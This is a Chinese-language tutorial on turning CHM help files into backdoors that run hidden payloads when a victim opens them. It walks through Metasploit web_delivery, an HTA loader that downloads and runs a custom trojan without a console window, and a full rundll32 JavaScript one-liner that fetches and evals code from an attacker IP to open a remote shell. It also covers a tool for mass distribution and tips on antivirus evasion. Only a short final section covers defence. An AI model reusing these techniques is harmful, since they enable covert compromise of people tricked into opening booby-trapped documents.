构造无痕CHM后门
0x00 chm 是什么
CHM [Compiled Help Manual],即”已编译的帮助文件”,它是微软新一代帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式进行编译储存,以.CHM后缀结尾,支持Javascript,VBscript,ActiveX,Java Applet,Flash,以及常见图形文件(GIF,JPEG,PNG),音频视频文件(MID,WAV,AVI)等…,也就是说,我们可以直接利用chm去肆意地访问各类网络资源,另外,因其使用方便,形式多样,通常也多被采用作为电子书的默认格式。
0x01 chm 制作
新建一个文件夹,里面有一个test.html,内容随意
打开EasyCHM,新建->浏览。选择该目录。默认文件类型
点击确认,即可看到预览的CHM文件
选择文件—编译,即可编译成CHM文件。
举个例子
弹出计算器
test.html 的内容为:
1 | <!DOCTYPE HTML> |
<OBJECT>
和 <SCRIPT>
为核心代码,只需将这段代码插入任意html中即可。
按照上述过程制作test.chm文件
双击生成的.chm文件
0x02 借助chm实现meterpreter上线
既然现在都能弹计算器了,很明显,弹个meterpreter又会有多难呢,首先,先把msf起起来准备好相应的payload,如下
1 | msf5 > use exploit/multi/script/web_delivery |
接着,只需要把弹计算器部分的命令替换成上面远程加载执行payload的命令即可,而后再重新编译为chm
1 | <OBJECT id=autoloader classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> |
不过,在目标执行chm文件之后,却出现如下错误,目前尚未解决
0x03 利用chm实现自定义木马上线
注意: 最好不要再直接用powershell或者cmd去远程执行下载,不然在打开chm时会飘黑框
为了能让chm在打开时不弹黑框,此处我们就用一种比较间接的方式,用hta来帮我们在前面挡一刀,即 用先在chm里执行hta,而hta里放的则是远程加载执行我们自己马的powershell代码,具体如下
1 | # /etc/init.d/apache2 start |
1 | # cat loader.hta 可以清晰的看到,此hta中放的才是真正的ps下载者 |
而在chm文件中则是执行上面hta,但执行hta本身却是没有黑框的
1 | <OBJECT id=autoloader classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> |
当目标正常双击打开我们发给他的chm文件时,稍等片刻[ps下载稍微需要点儿时间],另外,因为是下载自己的马,所以免杀和马的体积[越小越好]要务必处理好
0x04 利用js来无痕触发chm后门
第一种方式
直接powershell脚本来免杀弹回一个半交互的shell,这种方式通常比较适合针对单个单点拿shell,可能需要人一直守着,一旦看到上了以后,就需要里面进行下一步的动作,脚本的具体使用,如下,先修改监听ip,为本机ip[实战中肯定是用vps的公网ip来搞]
https://github.com/3gstudent/Javascript-Backdoor/blob/master/JSRat.ps1
1 | $Server = '192.168.72.23' #Listening IP. Change This. |
而后加载执行脚本开始监听
1 | powershell.exe -ExecutionPolicy Bypass -File JSRat.ps1 |
接下来的事情就是把下面的利用代码替换到我们事先准备好的chm中,具体如下,记得里面的ip要改成上面监听的ip,另外,务必要注意value=中的单双引号问题,否则语法错误会造成payload无法被正常执行
1 | rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");w=new%20ActiveXObject("WScript.Shell");try{v=w.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet%20Settings\\ProxyServer");q=v.split("=")[1].split(";")[0];h.SetProxy(2,q);}catch(e){}h.Open("GET","http://192.168.72.11/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);} |
之后,再重新编译chm,丢到目标机器上打开,即可看到一个cmd shell被正常弹回,只不过,这里稍微有点瑕疵,当第一次打开chm的一瞬间,会有所卡顿[其实这个过程就是在执行payload,也可能是rudll32的问题,regsvr32就不会],而之后再打开,就没有多大感觉了
Shell回来以后,为了巩固权限,可立即远程加载执行自己的马,毕竟,一个cmd shell肯定活不了多长时间
第二种方式
原理一样,只不过这次是用python脚本,主要针对想自动批量上线的需求[适合群发]
https://github.com/Ridter/MyJSRat
1 | python MyJSRat.py -i 192.168.1.101 -p 3333 |
访问 http://192.168.72.23:3333/wtf 获取攻击代码如下:
将攻击代码写入html文件
编译以后运行,可以成功获取JS交互shell
0x05 针对chm的后门的有效防御
- 利用windows自带的hh命令,便可以轻松反编译chm源文件,通过看源文件中的代码很容易就能发现此类后门
具体命令格式如下: # hh -decompile C:\Users\scan\Desktop\new C:\Users\scan\Desktop\works\source.chm - 严禁随意打开别人发过来的各种chm文件,很多人就是通过这种方式,把程序员经常用到的一些开发手册[通常都是chm文件]加工成后门后往各个站点里发,以此发来大批量挂马收集肉鸡